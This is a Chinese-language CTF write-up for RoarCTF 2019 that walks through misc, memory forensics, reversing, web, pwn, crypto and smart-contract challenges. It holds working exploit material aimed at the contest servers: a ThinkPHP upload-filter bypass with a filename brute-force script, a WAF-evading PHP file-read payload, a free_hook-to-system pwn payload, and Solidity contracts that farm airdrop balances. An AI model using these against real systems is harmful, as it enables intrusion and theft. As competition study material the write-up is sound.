筆者《Qftm》原文發佈:https://xz.aliyun.com/t/6576php
RoarCTF{簽到!!!}java
文件尾部有一段base64,解碼爲16進制能夠看到是一個壓縮包python
打開壓縮包須要密碼web
使用pr抽幀算法
能夠看到部分幀中有二維碼,依次掃碼便可獲得key iwantplayctfjson
直接上volatilitywindows
建議profile,直接用Win7SP1x86就能夠。服務器
查看進程多線程
volatility -f mem.raw pslist --profile=Win7SP1x86app
能夠看到存在如下幾個值得注意的進程:
Dumpit.exe 一款內存鏡像提取工具。
TrueCrypt.exe 一款磁盤加密工具。
Notepad.exe windows自帶的記事本。
Mspaint,exe windows自帶畫圖工具。
經過查看userassist能夠發現notepad mspaint 在提取內存時在內存中並無數據。查看用戶Home目錄的文件,能夠發現有一個用戶保存的圖片文件
volatility -f mem.raw --profile=Win7SP1x86 filescan|grep -v Temporary |grep -v .dll|grep -E 'png|jpg|gif|zip|rar|7z|pdf'
把圖片dump下來
經過查看桌面文件還能夠發現dumpit.exe在桌面上,而dumpit.exe默認生成的文件是 {hash}.raw,默認保存路徑是dumpit.exe所在的路徑。
嘗試dump 位於0x000000001fca1130位置的raw鏡像,發現該文件尚未數據,所以判斷取證的時候dumpit.exe還在運行中,dump下來dumpit.exe的內存鏡像。
對dumpit.exe的內存鏡像進行分析
猜想密碼就是剛那張圖片上的扭曲文字
不得不說,有幾個位置很難辨認,好比第一個字符是數字1仍是字母l仍是字母I,那些大小寫長得同樣的是大寫仍是小寫,中間那個是y仍是g。直接上掩碼爆破
用dnspy反編譯,關鍵代碼:
public static void WinGame() { if (!winGame && ((nDestroyNum == 4) || (nDestroyNum == 5))) { string str = "clearlove9"; for (int i = 0; i < 0x15; i++) { for (int j = 0; j < 0x11; j++) { str = str + MapState[i, j].ToString(); } } if (Sha1(str) == "3F649F708AAFA7A0A94138DC3022F6EA611E8D01") { FlagText._instance.gameObject.SetActive(true); FlagText.str = "RoarCTF{wm-" + Md5(str) + "}"; winGame = true; } } } public static string Md5(string str) { byte[] bytes = Encoding.UTF8.GetBytes(str); byte[] buffer2 = MD5.Create().ComputeHash(bytes); StringBuilder builder = new StringBuilder(); foreach (byte num in buffer2) { builder.Append(num.ToString("X2")); } return builder.ToString().Substring(0, 10); } private void OnTriggerEnter2D(Collider2D collision) { int x = (int) collision.gameObject.transform.position.x; int y = (int) collision.gameObject.transform.position.y; switch (collision.tag) { case "Tank": if (!this.isPlayerBullect) { collision.SendMessage("Die"); UnityEngine.Object.Destroy(base.gameObject); } break; case "Heart": MapManager.MapState[x + 10, y + 8] = 9; MapManager.nDestroyNum++; collision.SendMessage("Die"); UnityEngine.Object.Destroy(base.gameObject); break; case "Enemy": if (this.isPlayerBullect) { collision.SendMessage("Die"); UnityEngine.Object.Destroy(base.gameObject); } break; case "Wall": MapManager.MapState[x + 10, y + 8] = 8; MapManager.nDestroyNum++; UnityEngine.Object.Destroy(collision.gameObject); UnityEngine.Object.Destroy(base.gameObject); break; case "Barrier": if (this.isPlayerBullect) { collision.SendMessage("PlayAudio"); } UnityEngine.Object.Destroy(base.gameObject); break; } }
牆1替換成8,老家0替換成9,66個變量,4或5個位置須要變,首先爆破66 * 65 * 64 * 63,爆破出來了,計算md5獲得前10字節,獲得flag,細節如圖:
<?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index() { show_source(__FILE__); } public function upload() { $uploadFile = $_FILES['file'] ; if (strstr(strtolower($uploadFile['name']), ".php") ) { return false; } $upload = new \Think\Upload();// 實例化上傳類 $upload->maxSize = 4096 ;// 設置附件上傳大小 $upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 設置附件上傳類型 $upload->rootPath = './Public/Uploads/';// 設置附件上傳目錄 $upload->savePath = '';// 設置附件上傳子目錄 $info = $upload->upload() ; if(!$info) {// 上傳錯誤提示錯誤信息 $this->error($upload->getError()); return; }else{// 上傳成功 獲取上傳文件信息 $url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ; echo json_encode(array("url"=>$url,"success"=>1)); } } }
ThinkPHP默認上傳文件名是遞增的。 代碼中ThinkPHP的後綴過濾無效,因此經過上傳多個文件的方式,繞過.php後綴的判斷,可是這樣拿不到上傳的文件名,須要爆破。 具體的步驟爲:
1.寫腳本上傳一個正常文件,再上傳多個文件,再上傳一個正常文件。獲取到第一三次上傳的文件名。
import requests url = "http://lo408dybroarctf.4hou.com.cn:34422/index.php/Home/Index/upload" files1 = {'file': open('ma.txt','r')} files2 = {'file[]': open('ma.php','r')} r = requests.post(url,files=files1) print(r.text) r = requests.post(url,files=files2) print(r.text) r = requests.post(url,files=files1) print(r.text)
2.多線程爆破一下第一三文件名之間的全部文件名。
這是最開始寫的單線程爆破的腳本,後來以爲太累了,就拿開源掃描器dirfuzz改了一個多線程的版本。最終多線程爆破成功。
import requests #{"url":"\/Public\/Uploads\/2019-10-12\/5da1b52bb3645.txt","success":1} #{"url":"\/Public\/Uploads\/","success":1} #{"url":"\/Public\/Uploads\/2019-10-12\/5da1b52bd6f0a.txt","success":1} s = "1234567890abcdef" for i in s: for j in s: for k in s: for l in s: url = "http://lo408dybroarctf.4hou.com.cn:34422/Public/Uploads/2019-10-12/5da1b52bc%s%s%s%s.php"%(i,j,k,l) r = requests.get(url) # print(url) if r.status_code != 404: print(url) break #[+]{"url": "http://lo408dybroarctf.4hou.com.cn:34422/Public/Uploads/2019-10-12/5da1b52bc7471.php", "status_code": 200, "data": "RoarCTF{wm-22522494528d3de9}\n"}
爆破到php文件,就能夠直接讀到flag。估計主辦方有個腳本在後臺一直跑改php文件。
這題首先進去發現是一個計算器的題目。
這道題是國賽的love_math的修改版,除去了長度限制,payload中不能包含' ', '\t', '\r', '\n',''', '"', '`', '[', ']' 等字符,不一樣的是網站加了waf,須要繞過waf。首先須要繞過waf,測試發現當咱們提交一些字符時,會直接403,經測試發現存在服務器存在http走私漏洞,能夠用來繞waf,詳情見:https://paper.seebug.org/1048/
由於禁掉了一些字符,因此致使咱們不能直接getflag,繼續分析payload構造
這裏用到幾個php幾個數學函數。
咱們首先要構造列目錄的payload,確定要使用scandir函數,嘗試構造列舉根目錄下的文件。scandir能夠用base_convert函數構造,可是利用base_convert只能解決a~z的利用,由於根目錄須要/符號,且不在a~z,因此須要hex2bin(dechex(47))這種構造方式,dechex() 函數把十進制數轉換爲十六進制數。hex2bin() 函數把十六進制值的字符串轉換爲 ASCII 字符。
構造讀取flag,使用readfile函數,paload:base_convert(2146934604002,10,36)(hex2bin(dechex(47)).base_convert(25254448,10,36)),方法相似
這道進去首先想到的就是任意文件下載,可是剛開始用GET方式一直什麼都下載不了,連網站肯定目錄的圖片都下不了。後來修改成post,能夠了。。。
嘗試讀取WEB-INF/web.xml發現操做flag的關鍵文件位置
將圖中base64解碼即flag。
使用 deflat.py 脫去控制流平坦化,加密算法大體是:輸入 48,平分 6 組,將每組 8 字節轉化爲 long 類型的值,對每組進行加密,先判斷正負,而後將值乘 2,隨後根據正負異或 0xB0004B7679FA26B3,循環 64 次,最後進行比較;按照這個邏輯寫逆運算就能夠了,逆運算見 depoly.py
origin = [0xbc8ff26d43536296, 0x520100780530ee16, 0x4dc0b5ea935f08ec, 0x342b90afd853f450, 0x8b250ebcaa2c3681, 0x55759f81a2c68ae4] key = 0xB0004B7679FA26B3 data = "" for value in origin: for i in range(0, 64): tail = value & 1 if tail == 1: value = value ^ key value = value // 2 if tail == 1: value = value | 0x8000000000000000 #print(hex(value)) # end for print(hex(value)) j = 0 while (j < 8): data += chr(value & 0xFF) value = value >> 8 j += 1 # end while #end for print(data)
payload:
#!/usr/bin/env python3 # -*- coding=utf-8 -*- from pwn import * system_addr = 0x08051C60 hook_free = 0x080E09F0 # opcdoe opcode = "" # get stack_addr opcode += """\ push 5 stack_load\ """ # sub hook_free opcode += f"""\ push {hook_free} sub\ """ # value / 4 + 1 opcode += """\ push 4 div push 1 add\ """ # *hook_free = system_addr opcode += f"""\ push {system_addr} stack_set\ """ opcode = f"""\ push {0x6e69622f} push {0x68732f} push {system_addr} push 1 push 4 push 64 stack_load push {hook_free} sub div sub stack_set\ """ OPCODET = { "push": 0x2a3d, "add": 0, "sub": 0x11111, "div": 0x514, "stack_set": 0x10101010, "stack_load": -1 } opcode_list = opcode.split("\n") op_result = [] num_result = [] for op in opcode_list: tmp = op.split(" ") assert tmp[0] in OPCODET op_result.append(str(OPCODET[tmp[0]])) if len(tmp) == 2: num_result.append(str(tmp[1])) result_op = " ".join(op_result) result_num = " ".join(num_result) print(result_op) print(result_num)
一個數學結論:對於一個素數p來講,(p-1)的階乘加上(p-2)的階乘等於p乘以(p-2)的階乘,能被p整除,(p-1)的階乘除以p餘p-1(由於p的階乘能被p整除)就是:
(p-1)!+(p-2)!=p*(p-2) (p-1)!=p*(p-1) (p-2)! % p=1
解密腳本以下:
import sympy from Crypto.Util.number import long_to_bytes def egcd(a,b): if a==0: return (b,0,1) else: g,y,x=egcd(b%a,a) return (g,x-(b//a)*y,y) def modinv(a,m): g,x,y=egcd(a,m) if g!=1: raise Exception(" error") else: return x%m a1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467234407 b1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467140596 a2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858418927 b2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858351026 n=85492663786275292159831603391083876175149354309327673008716627650718160585639723100793347534649628330416631255660901307533909900431413447524262332232659153047067908693481947121069070451562822417357656432171870951184673132554213690123308042697361969986360375060954702920656364144154145812838558365334172935931441424096270206140691814662318562696925767991937369782627908408239087358033165410020690152067715711112732252038588432896758405898709010342467882264362733 c=75700883021669577739329316795450706204502635802310731477156998834710820770245219468703245302009998932067080383977560299708060476222089630209972629755965140317526034680452483360917378812244365884527186056341888615564335560765053550155758362271622330017433403027261127561225585912484777829588501213961110690451987625502701331485141639684356427316905122995759825241133872734362716041819819948645662803292418802204430874521342108413623635150475963121220095236776428 p=1 q=1 i=1 l=0 for i in range(b1+1,a1-1): p *= modinv(i,a1) p %=a1 p=sympy.nextprime(p) print "p=" print p for i in range(b2+1,a2-1): q *=modinv(i,a2) q %=a2 q=sympy.nextprime(q) print "q=" print q r=n/q/p print "r=" print r fn=(p-1)*(q-1)*(r-1) print "fn=" print fn e=4097 d=modinv(e,fn) print "d=" print d m=pow(c,d,n) print "m=" print m print long_to_bytes(m)
作題的時候發現已經有人作出來了,而後去看作出來人的交易記錄,發現是薅羊毛,經過逆向作出來人的記錄,照抄了一個,payload合約以下:
/** *Submitted for verification at Etherscan.io on 2019-10-08 */ pragma solidity ^0.4.24; contract P_Bank { mapping (address => uint) public balances; uint public MinDeposit = 0.1 ether; Log TransferLog; event FLAG(string b64email, string slogan); constructor(address _log) public { TransferLog = Log(_log); } function Ap() public { if(balances[msg.sender] == 0) { balances[msg.sender]+=1 ether; } } function Transfer(address to, uint val) public { if(val > balances[msg.sender]) { revert(); } balances[to]+=val; balances[msg.sender]-=val; } function CaptureTheFlag(string b64email) public returns(bool){ require (balances[msg.sender] > 500 ether); emit FLAG(b64email, "Congratulations to capture the flag!"); } function Deposit() public payable { if(msg.value > MinDeposit) { balances[msg.sender]+= msg.value; TransferLog.AddMessage(msg.sender,msg.value,"Deposit"); } } function CashOut(uint _am) public { if(_am<=balances[msg.sender]) { if(msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage(msg.sender,_am,"CashOut"); } } } function() public payable{} } contract Log { struct Message { address Sender; string Data; uint Val; uint Time; } string err = "CashOut"; Message[] public History; Message LastMsg; function AddMessage(address _adr,uint _val,string _data) public { LastMsg.Sender = _adr; LastMsg.Time = now; LastMsg.Val = _val; LastMsg.Data = _data; History.push(LastMsg); } } contract FatherOwned { address owner; modifier onlyOwner{ if (msg.sender != owner) revert(); _; } } contract Attack { address owner; P_Bank target; constructor(address my) public { owner = my; target = P_Bank(0xF60ADeF7812214eBC746309ccb590A5dBd70fc21); target.Ap(); target.Transfer(owner, 1 ether); selfdestruct(owner); } } contract Deploy is FatherOwned { constructor() public { owner = msg.sender; } function getflag() public onlyOwner { P_Bank target; target = P_Bank(0xF60ADeF7812214eBC746309ccb590A5dBd70fc21); target.CaptureTheFlag("baiyjrh@gmail.com"); } function ffhhhhhhtest1() public onlyOwner { uint i; for (i=0; i<10; i++){ new Attack(owner); } } function ffhhhhhhtest2() public onlyOwner { uint i; for (i=0; i<30; i++){ new Attack(owner); } } function ffhhhhhhtest3() public onlyOwner { uint i; for (i=0; i<50; i++){ new Attack(owner); } } function ffhhhhhhtest4() public onlyOwner { uint i; for (i=0; i<70; i++){ new Attack(owner); } } }
給的源碼和實際的不同,一樣了看了下以前作出來的人的交易,發現了一個函數:0x5ad0ae39
逆向一下獲得大概代碼:
func 0x5ad0ae39(address1, address2, uint, address3) require(allowance[address1][msg.sender] >= uint) require(address3 == msg.sender + 0x32c3edb) balanceOf[address1] -= _value; balanceOf[address2] += _value; allowance[address1][msg.sender] -= _value; 而後在標準token的sol裏面有一個函數: function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; }
經過approve函數給allowance[msg.sender][msg.sender]賦值,隨便大於1000的值就行。
而後調用0x5ad0ae39,這裏就比較蛋疼了,由於爆破不出這個函數名,無法直接用remix作題,沒辦法只能寫代碼了。
過程如圖:
根據題目文件可知:
A=(((y%x)**5)%(x%y))**2019+y**316+(y+1)/x p=next_prime(z*x*y) q=next_prime(z) n=p*q
直接爆破A方程可得 x*y=166。(一個是2一個是83,懶得從新寫腳本了很好爆。)
而後可得
p=next_prime(z*166) q=next_prime(z)
能夠推斷出,n和zz166的值相對來講是距離比較近的,根據next_prime能夠推測出sqrt(n/166)的值和p和q的其中一個是很接近的,爆破便可。
py2 :
import sympy import gmpy2 n=117930806043507374325982291823027285148807239117987369609583515353889814856088099671454394340816761242974462268435911765045576377767711593100416932019831889059333166946263184861287975722954992219766493089630810876984781113645362450398009234556085330943125568377741065242183073882558834603430862598066786475299918395341014877416901185392905676043795425126968745185649565106322336954427505104906770493155723995382318346714944184577894150229037758434597242564815299174950147754426950251419204917376517360505024549691723683358170823416757973059354784142601436519500811159036795034676360028928301979780528294114933347127 #m是n/166的開放根,和p q 中的一個距離很近 m=sympy.nextprime(842868045681390934539739959201847552284980179958879667933078453950968566151662147267006293571765463137270594151138695778986165111380428806545593588078365331313084230014618714412959584843421586674162688321942889369912392031882620994944241987153078156389470370195514285850736541078623854327959382156753458029) m2=842868045681390934539739959201847552284980179958879667933078453950968566151662147267006293571765463137270594151138695778986165111380428806545593588078365331313084230014618714412959584843421586674162688321942889369912392031882620994944241987153078156389470370195514285850736541078623854327959382156753458029*166 k=m p=0 q=0 while (m>10000): if(n%m==0): #print (m) A=(((y%x)**5)%(x%y))**2019+y**316+(y+1)/x 根據方程能夠直接算出x和y a=2683349182678714524247469512793476009861014781004924905484127480308161377768192868061561886577048646432382128960881487463427414176114486885830693959404989743229103516924432512724195654425703453612710310587164417035878308390676612592848750287387318129424195208623440294647817367740878211949147526287091298307480502897462279102572556822231669438279317474828479089719046386411971105448723910594710418093977044179949800373224354729179833393219827789389078869290217569511230868967647963089430594258815146362187250855166897553056073744582946148472068334167445499314471518357535261186318756327890016183228412253724 x=1 y=1 n=0 c=0 d=0 for x in range(1,100): for y in range(2,100): c=(y+1)/x d=x%y if(d!=0): n=(((y%x)**5)%d)**2019+y**316+c if(n==a): print (x) print (y)
可得x=2 y=83
p=next_prime(zxy)
q=next_prime(z)
n=q*p
所以能夠猜想n和(zxy)z的值也是很接近的,也就是n和z^2166是很接近的,那麼sqrt(n/166)和q是很接近的。因此從sqrt(n/166)附近查找prime。
e是未知的,可是e的取值範圍相對是小的,直接猜或者爆破,結果可知e爲65537.
解密腳本
import sympy import math import binascii from Crypto.Util.number import long_to_bytes n=117930806043507374325982291823027285148807239117987369609583515353889814856088099671454394340816761242974462268435911765045576377767711593100416932019831889059333166946263184861287975722954992219766493089630810876984781113645362450398009234556085330943125568377741065242183073882558834603430862598066786475299918395341014877416901185392905676043795425126968745185649565106322336954427505104906770493155723995382318346714944184577894150229037758434597242564815299174950147754426950251419204917376517360505024549691723683358170823416757973059354784142601436519500811159036795034676360028928301979780528294114933347127 #m便是sqrt(n/166)的近似值 m=sympy.nextprime(842868045681390934539739959201847552284980179958879667933078453950968566151662147267006293571765463137270594151138695778986165111380428806545593588078365331313084230014618714412959584843421586674162688321942889369912392031882620994944241987153078156389470370195514285850736541078623854327959382156753458029) c=86974685960185109994565885227776590430584975317324687072143606337834618757975096133503732246558545817823508491829181296701578862445122140544748432956862934052663959903364809344666885925501943806009045214347928716791730159539675944914294533623047609564608561054087106518420308176681346465904692545308790901579479104745664756811301111441543090132246542129700485721093162972711529510721321996972649182594310700996042178757282311887765329548031672904349916667094862779984235732091664623511790424370705655016549911752412395937963400908229932716593592702387850259325784109798223415344586624970470351548381110529919234353 p=0 q=0 #從m附近查找q或p while(m>100): if(n%m==0): p=m print "p=" print p q=n/p print "q=" print q break m=sympy.nextprime(m) def egcd(a,b): if a==0: return (b,0,1) else: g,y,x=egcd(b%a,a) return (g,x-(b//a)*y,y) def modinv(a,m): g,x,y=egcd(a,m) if g!=1: raise Exception(" error") else: return x%m e=1 d=0 #爆破e while(e<100000): #try: #e=sympy.nextprime(e) e=65537 #最後爆破成功的e d=modinv(e,(p-1)*(q-1)) m=pow(c,d,n) print long_to_bytes(m) m_hex = hex(m)[2:] # try: print m_hex print("ascii:\n%s"%(binascii.a2b_hex(m_hex).decode("utf8"),)) # except: # if(e%10000==0): # print e